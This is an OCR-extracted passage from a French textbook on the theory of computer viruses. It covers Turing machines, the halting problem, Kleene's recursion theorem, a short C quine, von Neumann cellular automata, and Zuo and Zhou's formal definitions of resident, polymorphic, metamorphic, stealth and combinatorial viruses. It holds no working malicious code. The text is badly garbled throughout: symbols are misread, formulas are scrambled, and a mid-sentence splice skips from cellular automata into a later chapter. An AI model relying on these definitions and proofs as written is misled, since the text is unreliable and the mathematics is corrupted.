(eo,l) (eo.O) (e i , 1) (el,O) (e2,1) (e3,1) ( e4, 1)



(1, D, 0) parcours de x (1, D, 1) suppression du delimiteur (1, D, 1) parcours de y (0,G,2) fin du parcours de y (0, G, 3) effacement d'un symbole 1 (0, G, 4) effacement d'un symbole 1



(e4,



(1, G, 4)



0) (0, D, 5) arret (fin du calcul)



Exemple 1 Considerons l'addition de deux nombres x et y. La table des instructions est donnee dans la table 2.1. Les donnees d 'entrees sont codees par 0111 ... 111 0111 ... 111 ~~



x



y



et la machine debute dans l 'eiat initial eo et sur le symbole 0 les plus a gauche. A la fin, la bande de calcul contient une sequence de x + y + 1 symboles 1.



Cet exemple montre combien le modele de Turing est a la fois simple et puissant. II montre que, des lors que l'on peut exhiber une table semblable a celIe de l'exemple precedent, il est possible en pratique de realiser I'operation consideree, donc de trouver une solution realisable ou effective au probleme considere, La question qui se pose alors immediatement est la suivante : est-il possible de decrire toute fonction f par une telle machine? Autrement dit, existe-t-il des problemes pour lesquels aucune machine de Turing ne puisse etre cxhibec ? Pour y repondre, nous allons considerer les fonctions dites recursives. Nous nous limiterons, sans restriction conceptuelIe, aux fonctions definies sur des entiers et a valeurs entieres soit



que nous appellerons des k-fonctions partielles (car le domaine de definition peut etre seulement une partie propre de N k ) . L'entree (Xl, X2, . . . ,Xk) d'une telle fonction est codee dans une machine de Turing par la chaine suivante :



C == 0 11 ... 11 0 11 ... 11 0 ... 11 ... 11 O. ~~~ Xl +1



x2+ l



Xk+l
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Definition 2 Une k-fonction partielle fest dite recursive s'il existe une machine de Turing M commencant le traitement avec l 'eiai initial eo, sur le bit le plus a gauche de C telle que : 1. Si f(Xl,X2, ... ,Xk) est defini alors M s'arrete et la bande de calcul contient la chaine correspondant a la valeur de f(Xl' X2, . . . ,Xk). 2. Si f(Xl,X2, ... ,Xk) n'est pas defini, la machine M ne s'arrete jamais. Une fonction recursive est donc une fonction effectivement calculable.



La theorie des machines de Turing se confond, en fait, avec celles des fonctions recursives, autrement dit des fonctions effectivement calculables. Pour un expose exhaustif de ces fonctions, le lecteur consultera [19,195]. La notion de fonctions recursives est due a Kurt Godcl [129]. Le terme de recursif" vient de son souci de definir pour une fonction i, la valeur f (n + 1) a partir de celIe de f (n). Les fonctions recursives primitives permettent de denombrer facilement les fonctions recursives.



Theorerne 1 (Cardinalite des fonctions recursioes] Il y a exactement No (une infinite denombrable) fonctions partielles rccursiucs et exactement No fonctions recursiues. Demonstration. Toutes les fonctions constantes (elles appartiennent a l'ensemble des fonctions recursives primitives) sont recursives. Cela implique qu'il y a au moins No5 fonctions recursives. La numerotation de Godcl (voir note de bas de page de la section 2.2.2) montre qu'il y en a au plus No. D'ou le resultat. D



Theorerne 2 (Existence de fonctions non recursioes] Il existe des fonctions non recursiues. Demonstration. Selon le theoreme de Cantor, il existe 2No fonctions (le leeteur prouvera ce resultat en considerant toutes les fonctions de N vers l'ensemble {a, I}). Or, selon le theoreme 1, il y a No fonctions recursives. D'ou le resultat. D 4



5



La recursion est la definition d'un objet a l'aide d'un objet de meme nature (ici les fonctions « effectivement calculables »). La classe enticrc des objets peut alors etre construite de manierc axiomatique, a partir de quelques objets initiaux et d'un petit nombre de regles, En particulier, la classe des fonctions recursiues primitives (fonctions constantes, fonction « successeur », fonction identite, ... ) est la base de construction des fonctions recursives (voir [195, pp 5-10]). No designe le cardinal de l' ensemble des entiers naturels N.



2.2 Les machines de Turing
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Le lecteur consultera [189] pour decouvrir des exemples de fonctions non recursives. Precisons enfin que cette definition (et les resultats qui suivront), introduite pour les fonctions, se generalise de facon interessante aux relations k-aires sur N, en considerant la definition suivante.



Definition 3 Une relation Rest dite «decidable » s'il existe une procedure effective qui, eiani donne un objet x , permet de verifier si R( x) est vraie ou non. Si R est decidable, alors sa fonction caracteristique est recursive, c'est-a-dire effectivement calculable.



2.2.2 Machine de Turing universelle Le modele des machines de Turing, tel qu'il a ete presente jusque la, ne peut etre suffisant pour decrire le fonctionnement d'un ordinateur actuel, ce dernier pouvant resoudre un grand nombre de problemes tandis qu'une machine de Turing donnee, ne s'occupe que d'un seul probleme, En fait, la modelisation effective d'un ordinateur necessite de considerer un objet plus general : les machines de Turing universelles.



Definition 4 Une machine de Turing universelle U est une machine de Turing qui, sur des donnees d'entree decriuasit d'une part une machine de Turing M donnee, et d'autre part une donnee d'entree x pour cette machine, simule l'action de M sur x , autrement dit calcule M(x). On note



U(M; x)



==



M(x).



Afin de mieux comprendre cette definition, decrivons comment peut fonctionner en pratique une machine de Turing universelle U. Une machine M, etant un objet fini peut etre codec, (representee) par un cntier", ce qui permet detudier plus facilement le mode d'action de U : la notion de machine simulant d'autres machines revient a considerer l'action d'une machine simple sur une donnee, Considerons un exemple d'un tel codage. Soient les donnees (xo, Xl, ... ,xn ) contenues sur la bande de calcul. Nous pouvons les representer par l'entier : _ 2xo+13xl+1 .. ·Pxn+l , < XO,XI,··· ,Xn >n en utilisant les entiers premiers Pi (l'utilisation d'entiers premiers permet, par la machine, un decodage univoque). Les machines de Turing doivent 6



II s'agit la d'un procede tres utile, generalise par Codcl pour l'etude de la logique du premier ordre et connu sous le nom de mimeroiation ou code de Ciidel. Le nombre de symboles d'un langage ou d'un programme etant fini, l'existence et la construction de cet entier ne nosent aucun nrobleme.
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etre capables de realiser ce codage et le decodage qui lui correspond, afin de fonctionner. Plus generalement, a chaque instant t, la configuration d'une machine M, elle-meme (contenu de la bande, instructions ... ) peut etre representee de la sorte, par un entier, appele, « configuration instantanec ». L'ensemble de ces configurations - l' histoire du calcul - peut aussi etre designe par un entier naturel (une description detaillee sera trouvec dans [182, section 3.1]). Comment se traduit alors le probleme de I'effectivite du calcul dans le cas des machines de Turing universelles? En particulier, le codage choisi constitue-t-il une fonction recursive, ce qui permettrait alors desperer que l'action de U sur M avec la donnee x a un sens? Pour cela considerons les deux points suivants : - il existe une relation ternaire R(e, < Xo, Xl, . . . ,Xk >, y), vraie si et seulement si e est un entier codant une machine de Turing M, et y decrit similairement l'histoire du calcul de M a partir des donnees (xo, Xl,· .. ,Xk). - il existe une fonction recursive U telle que, chaque fois que R( e, < Xo, Xl, . . . ,Xk >, y) est vraie, alors U(y) designe la valeur produite par le calcul de M sur (xo, Xl, . . . ,Xk). II devient assez intuitif, en premiere approche, que la relation R est decidable (voir la definition 3) et que U est recursive. Precisons les choses. Soit la kfonction partielle epe(XO' Xl,· .. ,Xk) == U[y*] ou y* designe le plus petit entier y (quand il existe) tel que



R(e, < XO,XI, ... ,Xk >,y) soit vraie. Nous disposons alors du theoreme fondamental suivant du



a Kleene



[146].



Theorerne 3 1. La k+ I-fonction partielle qui vaut epe(XI' X2, ... , Xk) pour les valeurs (e, Xl, X2, ... ,Xk) est recursive. 2. Pour chaque entier e, la k-fonction partielle epe est recursive. 3. Toute k-fonction partielle recursive est eqale



a epe



pour un certain e.



L'entier e est appele l'index de la fonction epe. Autrement dit, une k-fonction partielle est recursive (i. e. est effectivement calculable), si et seulement si elle posscde un index. La notion d'index correspond donc a celIe d'un programme. Nous adopterons dans la suite la notation epp au lieu de epe pour plus de clarte et le terme de fonction (simple ou universelIe) au lieu de machine de Turing, nuisoue nous avons vu aue les deux notions sont identiaues.



2.2 Les machines de Turing
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Pour resumer, une fonction universe11e dispose d'un programme Po et eppo(x) calcule epp(z), OU x ==< P,z > est la donnee forrnee d'un programme p et d'une valeur d'entree z. Remarquons que cette notation est assez puissante, car elle permet de ne plus faire de difference entre les donnees constituees d'un programme et des valeurs (les donnees proprement dites). Cela se revelera utile par la suite dans le cadre des virus.



2.2.3 Pr'obleme darr-et et decidab'ilite La formalisation precedente, aussi interessante soit elle, ne res out pas le probleme de I'arret du programme, autrement dit de la calculabilite effective. Supposons qu'une machine M rec;oive en entree la valeur x et qu'e11e commence a calculer. Apres plusieurs millions dctapcs, le probleme se pose de savoir si M finira par s'arreter ou non. Face a la tentation de dire « non» et d'arreter la machine M, il est possible de se demander si avec quelques milliers de pas supplementaires, la machine ne finirait pas par fournir le resultat oscompte (la machine s'arretc). Se pose alors un probleme interessant. Existe-t-il un programme (une machine de Turing) qui permettrait de repondre a coup sur au probleme de I'arret (Halting Problem)? L'existence eventuelle d'une te11e procedure revient a considerer un autre probleme fondamental : la decidabilite ou la non-decidabilite d'une fonction. En d'autres termes, nous considerons des fonctions pour lesquelles il n'existe aucun programme permettant de les caleuler, autrement dit qui ne sont pas recursives. Notons epp(x) / si le resultat du calcul n'est pas defini et epp(x) ~ s'il est defini, Notons enfin l'ensemble de tous les programmes qui s'arretent pour une entree fixec x. Nous pouvons alors donner le theoreme suivant.



Proposition 1 L 'ensemble H est recursiuemeni enumerable. Le terme de rccursinemcni enumerable signifie que pour savoir si p E H, on lance le calcul : si celui-ci s'arretc, l'appartenance a l'ensemble est prouvec sinon on ne peut repondrc". Un ensemble que l'on peut ainsi definir a l'aide d'un programme est dit recursivcmcnt enumerable. On adoptera la proposition suivante. 7



Le lecteur remarquera que l'on se place dans une situation ideale OU toute restriction imposee sur le temps et l'espace memoire a ete ecartee, Cela ne pose pas de probleme concentuel.
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Definition 5 Un ensemble E est resursi] si et seulement si sa fonction caracteristique8 est recursive totale, c'est-a-dire si le programme qui la calcule s 'arrete toujours. On appelle decidable un probleme dont l'ensemble des solutions est recursif, II est important de noter que I'enumerabilite recursive n'implique pas la propriete de recursivitc (l'inverse est, en revanche, vrai). Cela signifie que nous ne savons toujours pas si un algorithme pouvant toujours statuer sur l'effectivite d'un calcul existe. La reponse est malheureusement negative comme le resume le theoreme fondamental suivant.



Theorerne 4 H n'esi pas recursi]. Il n'existe pas de programme qui s 'arrete toujours et qui donne le resuliai « vrai » si rpp (x) ~ et « faux» si rpp (x) / . Demonstration. Raisonnement par contradiction. Supposons qu'un tel programme, P, existe. Modifions-le alors pour obtenir le programme II fonctionnant selon le schema suivant, pour tout programme p, en utilisant sa representation fonctionnelle 'ljJ :



'11,( If/



p,



x)



== { /



s~ rpp«



~ SInon



P,X



» -,



Mais, par construction 'ljJ(.) represente le programme II. Comment se comporte ce programme quand un codage de lui-meme lui est prcscnte, autrement dit que vaut 'ljJ(II, II) ? Par definition de 'ljJ nous avons



'ljJ(II II) ,



== { / ~



s~ rpp« SInon



II,II



» -,



Si 'ljJ(II, II) ~ alors par definition, nous avons 'ljJ(II, II) / et si 'ljJ(II, II) /, toujours par definition, alors 'ljJ(II, II) ~. D'ou. contradiction. • Ce resultat fondamental sera repris par Fred Cohen (voir chapitre 3) pour prouver des resultats importants concernant I'efficacite de la lutte antivirale.



2.2.4 Fonctions recursives et virus Les resultats precedents permettent une modelisation puissante de la notion de programme. Les virus, programmes particuliers, correspondent a des fonctions, elles-memes particulieres (autoreproduction et eventuellement evolutivite) ; ils peuvent, par consequent, etre decrits de la memc manicre. 8



Cette fonction est telle que f(x) == 1 si x E E et f(x) == 0 autrement.
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Le theoreme de recursion de Kleene [148] qui date de 1938 est, implicitement, la premiere formalisation, certes inconsciente, des programmes autoreproducteurs, avant meme que von Neumann ne commence a s'interesser a ce type de programme (ses premiers travaux datent de 1948). La notion de virus (a la fois le terme et la realite qu'il recouvre) apparaitra beaucoup plus tard, mais avec le theoreme de recursion", I'effectivite des programmes viraux est demontree.



Theorerne 5 [Theoreme de recursion) Pour toute jonction recursive totale f : N ----t N, il existe un entier e tel que epe(.) == epf(e)(.). Ce theoreme, dans sa forme etendue, s'applique egalement aux fonctions recursives partielles. II suffit de considerer le fait qu'il est possible d'obtenir une fonction totale a partir d'une fonction partielle (theorems des fonctions paramctrces [19, page 544]). Le lecteur trouvera egalement un expose complet sur les differentes formes du theoreme de recursion dans [195, pp 180-182]. Etant donne son importance dans le contexte des virus, nous allons en donner une preuve tirec du livre de Rogers [195, p. 180] (une preuve de la seconde forme de ce theoeme est donnee dans la section 4.6).



Demonstration. Soit u un entier donne. Definissons la fonction 'ljJ par



Pour plus de clarte, le calcul de 'ljJ(x) utilise un ensemble d'instructions associe a l'entier (de G6del) u. En appliquant l'entier u en entree a u lui-meme (description de la fonction epu (u)), si le resultat, w, est defini, on utilise l'ensemble d'instructions associe a W sur x, ce qui donne, si le resultat est defini, 'ljJ(x). II est clair que les instructions de 'ljJ dependent de l'entier u. Considerons une fonction recursive 9 definissant a partir de u, l'entier de G6del pour ces instructions de ib. Nous avons alors :



Maintenant, soit f une fonction recursive quelconque. Alors f 9 (le produit designe la composition fonctionnelle) est une fonction recursive. Soit v l'entier de G6del pour f g. Comme epv == f 9 est totale (definie sur tout l'espace de 9



Ce theoreme est ee:aIement connu sous le nom de theorems du noint fixe.
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depart), alors il s'ensuit que CPv (v) ==~. En posant v pour u dans la definition de la fonction g, nous avons : CPg(v)



==



CPrpv(v)



==



CPfg(v)·



En posant e == g(v) nous obtenons le resultat.



•



Essentiellement, ce theoreme indique que pour une memc action (les programmes font la meme chose), les codes associes sont, eux, differents, Si la fonction 1 est la fonction Identite (1 (x) == x, recursive totale, dont la machine de Turing associee est la machine vide), nous avons memc des codes identiques, et de la, implicitement, la notion d'autoreproduction, autrement dit, de virus simple. Pour toute fonction 1, differente de I'rdentite, le theorcme de recursion decrit simplement le mecanisme de polymorphisme, pres de 50 ans avant les travaux de Cohen et ceux d'Adleman, et sa premiere realisation pratique. Nous verrons comment L. Adleman a systematise les choses en considerant differentes categories de fonctions recursives. Cela lui a permis d'etablir une classification exhaustive des diflerentes infections informatiques. Une application amusante, assimilable au mecanisme viral (et qui sera detaillee dans le chapitre consacre aux virus de code source) est celle des « Quine» autrement dit, des programmes qui ecrivcnt leur propre code source!". Voici un exemple, du a Joe Miller, en langage C (le signe \ ne fait pas partie de code, mais indique simplement que le programme doit tenir sur une seule ligne; il a ete rajoute pour les besoins de la mise en page).



p="p=%c%s%c;main(){printf(p, 34, p, 34);}"; \ main(){printf(p, 34, p, 34);}



2.3 Les automates autoreproducteurs La theorie des automates ccllulaires"! est nee en 1948 de la tentative de von Neumann de trouver un modele reductionniste pour decrire les processus dcvolution biologique, en particulier celui de l'autoreproduction [220]. Plus precisement, il souhaitait definir un ensemble d'interactions primitives locales permettant de decrire I'evolution de formes complexes d'organisation, essentielles a la vie. De cette approche, la theorie des automates 10



11



Le lecteur pourra consulter le site www.nyx.net/ ...gthompso/quine .htm qui contient de tres nombreux exemples de tels programmes pour la plupart des langages de programmation. Le terme cellulaire tire son origine des travaux de von Neumann, qui a considere pour ces ob iets un DIan divise en cellules carrees. chacune contenant un automate fini.
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cellulaires peut effectivement etre definie, d'une maniere generale, comme traitant essentiellement de la question de savoir comment des regles simples permettent de produire des schemas complexes. Un automate cellulaire est la representation mathematique la plus simple d'une classe beaucoup plus large de systemes complexes, c'est-a-dire de systemes dynamiques constitues de parties interagissant de manierc le plus souvent non lineaires. Cette theorie des automates cellulaires, nee des travaux de von Neumann et plus tard de Burks [40,221]' s'est tres vite revelee extrernement puissante pour modeliser des systemes tres complexes. Elle a ete utilisee avec succes dans des disciplines aussi diverses que la physique, la chimie, la biologie, l'ecologie, l'informatique, I'economie, la science militaire, etc. II existe en fait de tres nombreux modeles d'automates cellulaires ; cependant, tous prcscntent les caracteristiques generiques suivantes : - un treillis discret (au sens mathematique du terme) de cellules, uni-, bi- ou tridimensionnel (l'espace est divise en un nombre fini ou denornbrable de parties identiques) ; - I'homogeneite : toutes les cellules sont identiques et equivalentes ; - l'etat de chaque cellule ne peut prendre qu'un nombre fini de valeurs; - chaque cellule interagit seulement avec les cellules voisines (la notion de voisinage dependant de la nature de l'automate) ; - a chaque instant t, chaque cellule met a jour son etat selon une regIe dite de transition, constituee d'une fonction prenant en argument les etar.s de la cellule et celui de ses voisines. John von Neumann s'est attache, le premier, a construire effectivement un automate cellulaire bidimensionnel, capable de s'autoreproduire, autrement dit de realiser pratiquement ce qui ri'etait encore qu'un modele theorique a savoir une machine de Turing universelle (ou ordinateur universel) [126].



2.3.1 Modele mat.hernatique du modele de von Neumann Definitions de base Un automate fini, en premiere approximation, peut etre defini comme un processus permettant d'aboutir, en un nombre fini ou non de pas, a un resultat final a partir d'un etat initial donne. Plus precisement, la definition suivante est generalement adoptee.



Definition 6 (A utomate fini) Un automate fini est un quintuplet (qO' Q, F, X, f) oii Q est un ensemble fini oppele ensemble des etats, qo E Q l 'eiai initial, F C Q l 'ensemble des eiats finaux, Xl' ensemble fini desiqnan! I'alphabet et f : Q x X ---+ Q la
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fonction de transition. Si X* desiqne I'ensemble de tous les mots m definis sur l'alphabet X alors la fonction f se prolonge sur Q x X* en posant f(q, mila) == f(f(q, m), a) pour m E X*, a E X et q E Q. Un mot m de X* est dit reconnu par l'automate si et seulement si f(qa, m) E F.



Pour plus de simplicite (et ce, sans restriction conceptuelle), nous designerons un automate fini par un triplet (V, Va, f) ou Vest l'ensemble des etats de chaque cellule, Va un etat particulier et f la fonction de transition. Cette notation est celIe utilisee par Thatcher et se polarise uniquement sur le processus de transition et non pas sur la suite des transitions d'un etat initial vers un etat final. Avec notre notation, nous avons Q == V n pour un n donne. Q est appele la memoirc de l'automate. Afin de rester dans le cadre des travaux de von Neumann, nous nous limiterons a la formalisation des automates cellulaires bidimensionnels. Pour un expose plus general (automates uni- ou tridimensionnels), le lecteur pourra consulter [139]. Nous reprenons le formalisme developpe par J. Thatcher a partir des travaux de von Neumann [216]. Soit N l'ensemble des entiers naturels.



Definition 7 (Automate cellulaire) Un automate cellulaire (ou espace cellulaire) est defini sur N x N par: 1. Une fonction de voisinage 9 : N x N ---+ 2N x N definie par



g(a)=={a+61,a+62, ... ,a+6n }



VaENxN



ou + desiqne la loi produit sur N x N et OU les 6i E N x N pour (i 1,2, ... ,n) sont fixes et dependent du type d'automate. 2. Un automate fini (V, Va, f) defini sur un ensemble d'eiats cellulaires V et OU Va est appele l'eiai au repos et f une fonction locale de transition de V n sur V satisfaisant :



f(va,va, ... ,va) == Va Un automate cellulaire est donc un ensemble denombrable de cellules, l'ensemble N x N decrivant l'ensemble des coordonnees cartesiennes des cellules. Chaque cellule contient une copie identique de l'automate fini (V, Va, f) et l'etat vt(a) de la cellule a a l'instant t correspond a l'etat de l'automate associe au memc instant. La cellule a est consideree comme appartenant a son voisinage, d'ou 61 == o. La fonction d'etat de voisinage ht : N x N ---+ V n est donnee par



ht(a) == (vt(a), vt(a + (2), ... , vt(a + 6n ) ) , et permet de definir I'etat de la cellule a



a l'instant t + 1 en fonction



de son
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par



Definition 8 (Configuration d'un automate cellulaire) Une configuration (ou eiat general realisable du modele cellulaire) est une fonction C : N x N ----t V telle que supp(C) == {a E N x Nlc(a)



# vo}



soit fini. On appelle c' une sous-configuration de la configuration c si c Isupp ( c') == c' Isupp ( c') oii I desiqne la restriction [onctionnelle'? Par construction, un automate cellulaire posscdc, a chaque instant t, un nombre fini de cellules dans un etat different de l'etat de repos vo. La fonction c est dite de support fini relativement a l 'eiai vo. Notons qu'il est possible d'assimiler la fonction c avec son graphe, ce qui permet de parler de configuration c.



Definition 9 (Fonction de transition globale) Soit C l 'ensemble de toutes les configurations pour un espace cellulaire donne. Alors la fonction de transition globale F : C ----t C est definie par



F(c)(a)



==



f(h(a))



Va E N x N



Si l'on considere une configuration initiale Co, alors la fonction F permet de definir ce qu'on appelle une propagation, c'est-a-dire une sequence de configurations decrivant I'evolution de l'automate cellulaire :



co, Cl, ... , Ct, ...



avec



Ct+l ==



F(ct)



Vt.



Cette sequence peut encore etre decrite par



ce qui traduit mieux le processus d'evolution de l'automate. Parmi ces configurations, toutes n'ont pas le memc comportement. Nous allons resumer cela par la definition suivante. Dans ce qui suit, nous appellerons une zone U, un sous-ensemble quelconque de N x N (il s'agit donc d'une partie, generalement propre, de l'espace cellulaire). 12



Plus precisement ciA



== {(a, c( a)) la



E A} pour un sous-ensemble A.
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Definition 10 [Proprietes des configurations) - Deux configurations c et c' sont dites disjointes i lorsque supp( c) n supp(c') == 0. Une configuration c et une zone U sont disjoinies, si et seulement si, supp( c) n U == 0. - Soit une paire de configurations disjointes c et c'. L 'union de c et c' est definie par c(a) si a E supp(c)



(c U c')(a) =



{



c'(a)



s~



VQ



stnon



a



E



supp(c')



- Une configuration c est dite passive, si P(c) == c et completement passive si toute sous-configuration c' de c est passiue'": - Une configuration c est dite stable, s 'il existe un instant t tel que F t ( c) est passive. - Une configuration C8 est une translation de la configuration c, s 'il existe un element et < p', q' > sont dits equivalents a la fonction h pres et on note < p, q >~< p', q' > si et seulement si les quatre conditions suivantes sont uerifiee» : 1. z == z', 2. P==P'i



3. 3i E N avec 1



4. Pour j



==



designe une fonction calculable injective de S" vers N dont la fonction reciproque est egalement calculable. Et si l'on considere une fonction partielle calculable f : N ----t N, alors f(81' 82, ... ,8 n ) designera de manierc abregee f( < 81,82,···, 8 n ». Cette notation s'etend a tout n-uplets d'entiers ..



~1, ~2,



... ,



.



~n·



Pour une suite donnee p == (iI, i2, ... ,ik, . . . ,in) E S, on note p[jk/ik] la suite p dans laquelle le terme ik a ete remplace par u, soit p[jk/ik] == (iI, i2, ... .i»,... , in). Si I'element ik de la suite pest calcule par une fonction calculable v - ce qui revient a calculer p[V(ik)/ik] -, on adopte la notation abregee p[V(ik)] dans laquelle le symbole souligne designe I'element calcule. Dans le cas general OU plusieurs elements sont calcules en memc temps dans p, alors on adopte la notation p[Vl (ikl)' V2 (ik2)' ... , Vz (ik z ) ] . On designe par cP p ( d, p) une fonction calculee par un programme P sur l'environnement (d,p), OU d et p designent respectivement les donnees de l'environnement (en y incluant l'horloge, les mcmoires de masse et les structures assimilees) et les programmes (ceux du systeme d'exploitation inclus). Cet environnement constitue en realite le systeme d'exploitation elargi a I'activite du ou des utilisateurs. En considerant le codage de Codol e (voir section 2.2.1) du programme P, on ecrit alors cPe(d,p). Son domaine de definition est note We tandis que son espace image est note E e.



Exploration des classes virales Une fois ces quelques notations fixecs, Zuo et Zhou ont formalise, d'une manicre certes plus generale, des classes de virus connues. En ce sens, leurs travaux sont plus complets et aboutis que ceux d'Adleman qui n'avait fait qu'introduire le formalisme sans l'exploiter a fond. Donnons les principales definitions etablies par les deux auteurs [230]. Considerons tout d'abord deux classes connues de virus, formalisees rigoureusement.



Definition 40 (Virus non resident) Une jonction recursive totale vest appelee virus non resident si pour tout programme i, nous avons : 8



Pour les notions mathematiques liees et 3 au bien f19Sl.



a ces notations, le lecteur consultera les chapitres 2
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Resultats t.heoriques depuis Cohen (1989-2007)



1. cPv(i)(d,p) ==



D(d,p), si T(d,p) (i) (Fonctionnalit« ajoutee) cPi(d,p[v(S(p))]) si I(d,p) (ii) (Infection) { cPi (d, p), sinon (iii) (Imitation)



2. T(d,p) et I(d,p) sont deux predicate resursijs tels qu'il n'existe aucune



valeur < d, p > les satisjaisant simuliamemetit. De plus, les deux jonctions D(d,p) et S(p) sont recursiues. 3. L'ensemble l < d,p >: -,(T(d,p) V I(d,p))} est infini. Les deux predicats T( d, p) et I( d, p) representant respectivement les conditions de declenchement de charge finale et d'infection respectivement. Lorsque le predicat T( d, p) est vrai, le virus execute la charge finale D( d, p) tandis que lorsque le predicat I( d, p) est vrai, alors le virus choisit un programme cible au moyen de la fonction de selection? S(p), puis l'infecte et finalement execute le programme original i. Notons que les auteurs definissent le noyau d'un virus (ici dans le cas non resident) comme l'ensemble constitue des fonctions D(d,p) et S(p) et des predicats T(d,p) et I(d,p). Dans le cas general, le noyau designe l'ensemble des fonctions et predicats determinant le virus de manierc univoque. Notons que cette definition est assez restrictive. En effet, le second point interdit a un virus d'infecter ET de delivrer une charge finale (offensive ou benefique) a la fois. L'experience des cas rcncontrcs (voir aussi la seconde partie de l'ouvrage consacree a la partie algorithmique) montre que ce cas existe malgre tout. Le point 3 de la definition est important car il impose qu'un programme infecte « imite » le programme finalla plupart du temps. Pour les autres definitions, ces remarques sont les memes. Tout comme le font les auteurs, nous ne donnerons que le premier point 1 et nous omettrons les deux autres.



Definition 41 (Virus par ecrasement10 non resident) Une jonction recursive totale vest appelee virus par ecrasement non resident si pour tout programme i, nous avons :



. (d ¢v(t)



) _ {D(d,P),



,p -



si T(d,p)



< d,p[v(S(p))] >, strum



Definition 42 (Virus resident) Le couple (v, sys) constitu« d 'une jonction recursive totale v et d 'un appel susteme sys {eqolemeni une jonction recursive) est oppei« virus resident 9



10



D 'un point de vue algorithmique, la fonction de selection S (p) represente la fonction de recherche des cibles a infecter (voir la seconde partie de cet ouvrage). Voir la section 5.4 Dour la definition de ce tvne de virus.
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relativement
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a I'appel susieme SYSj si pour tout programme cPv(i) (d,p)



=



{



D(d,p),



si T(d,p)



cPi(d,p[v(sys)])



s~



cPi(d,p),



stnon



i, nous avons :



I(d,p)



et cPv(sYS) (d,p) ==



D'(d,p), si T'(d,p) cPsys(d,p[v(S(p))]) si I'(d,p) { cPsys(d,p), sinon



La fonction recursive sys dans la pratique decrit les mecanismcs utilises pour la mise en residence (interruptions 13H ou 21H des programmes TSR, API Windows ... ). Avec les definitions suivantes, Zuo et Zhou definissent rigoureusement la notion de virus polymorphes et metamorphes, Cohen [51] et Adleman [1] n'avaient qu'evoque la notion de polymorphisme tandis que Spinellis [210] l'avait implictement admise.



Definition 43 (Virus polymorphe a deux formes) Le couple (v, v') de deux fonctions rccursiues totales v et v' est oppei« virus polymorphe a deux formes si pour tout programme i, nous avons : cPv(i) ( d, p) ==



D(d,p)j si T(d,p) cPi (d, p [v'(S (p))]) j si I (d, p) { cPi(d,p)j stnon



et D(d,p)j si T(d,p) cPv'(i) ( d, p) == cPi (d, p [v (S (p))]) j si I (d, p) { cPi(d,p)j stnon Dans cette definition, quand le predicat T( d, p) est verific, alors la charge finale est lancee (representee par la fonction D (d, p)). Si le predicat I (d, p) est verifie, alors le virus choisit un programme a l'aide de la fonction de selection S(p), l'infecte d'abord et execute ensuite le programme original x (transfert de controle a la partie hate). Selon ce formalisme, la fonction S (p) designe en fait la fonction realisant egalement la « mutation» de code (par chiffrement ou reecriture). Cette definition correspond en fait a celle d'un Plus Grand Ensemble Viral (PGEV) compose de deux elements seulement. Pour des ensembles plus grands, et donc les virus polymorphes reels, la definition doit etre etendue a un n-uplet (Vl,V2, ... ,vn ) de fonctions recursives totales. A I'extreme, il est alors possible de considerer des virus polymorphes ayant un nombre infini (mais neanrnoins denombrable) de formes.
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Resultats t.heoriques depuis Cohen (1989-2007)



Definition 44 (Virus polymorphe a nombre infini de formes) Une fonction recursive totale v(m, i) est un virus polymorphe a nombre infini de formes si, pour tout m et tout programme i, alors v( m, i) satisfait :



cPv(m,i) (d,p) et si, pour tout m



==



D(d,p), si T(d,p) cPi(d,p[v(m + 1, 5(p))]), si I(d,p) { cPi (d, p), stnon



i=- n, v( m, i) i=- v( n, i).



Tout naturellement, cela mctamorphee:",



a conduit les auteurs a formaliser la notion de virus



Definition 45 (Virus meiamorplie) Soit v et v' deux fonctions rccursiues totales differentes. Le couple (v, v') est appele virus metamorphe si pour tout programme i, alors le couple (v, v') satisfait : si T(d,p) D(d,p), cPv(i) ( d, p) == cPi (d, p[v' (5 (p))]), si I (d, p)



{



cPi (d, p),



stnon



et



cPv' (i) ( d, p)



==



si T'(d,p) D'(d,p), cPi (d, p[v(5 (p))]), si I' (d, p) { cPi (d, p), stnon



oii T(d,p) - respectivement I(d,p), D(d,p), 5(p) - est different de T'(d,p) - respectivement I' (d, p), D' (d, p), 5' (p). La definition se generalise a un n-uplet quelconque de fonctions recursives totales. En fait, les virus metamorphes sont similaires aux virus polymorphes, excepte que les fonctions de selection 5 (p) et 5' (p) sont differentes, Alors que les differentes formes mutecs d'un virus polymorphe partagent le memc noyau (en particulier la fonction de mutation), celles d'un virus metamorphe ont chacune un noyau different. Voyons a present le concept de virus furtif12 .



Definition 46 (Virus furtif) Le couple (v, sys) constitu« d 'une fonction recursive totale v et d 'un appel susteme sys {eqolemeni une fonction recursive) est oppei« virus resident relativement a l 'appel susieme sys, s'il existe une fonction recursive h telle que pour tout programme i, nous avons : 11 12



Cette notion est presentee en detail dans [104, Chapitre 6]. Ce tvne de virus est nresente en detail dans r104. Chanitre 71.
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cPv(i) ( d, p) ==
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D(d,p), si T(d,p) cPi (d, p [v (S (p)), h (sys)]) si I (d, p) { cPi(d,p), stnon



et rh



'Ph(syS)



(0) 1,



=



{cPsys(y), si x == v(y) cPsys(i), sinon



La difference fondamentale avec les autres virus (en particulier comparer avec le cas des virus residents) reside dans le fait que, dans le cas d'un virus furtif, non seulement il infecte d'autres programmes, mais il modifie ou utilise egalement certains appels systeme de telle sorte que, lorsqu'une verification est faite par le systeme ou l'utilisateur (via le systeme neamnoins) pour controler I'integrite des programmes, ces derniers paraissent sains alors qu'en reali te ils ont ete infectes. Enfin, les auteurs ont introduit une classe tres interessante de virus, appeles virus combinatoires. Ces virus peuvent etre consideres comme une formalisation tres generale du concept de virus k-aires (voir section 5.5.1, [104, Chapitre 4] et [107]) ou combines.



Definition 47 (Virus combinatoire) Le couple (a, h) de deux fonctions rccursincs totales a et h est oppei« virus combinatoire si pour tout programme i nous avons : D(d,p), si T(d,p) cP ah (i) ( d, p) == cPi (d, p [ah (S 1 (p)), h (S 2 (p))]) si I (d, p) { stnon cPi(d,p), et oii les deux fonctions a et h sont appelees respectivement fonction d'activation



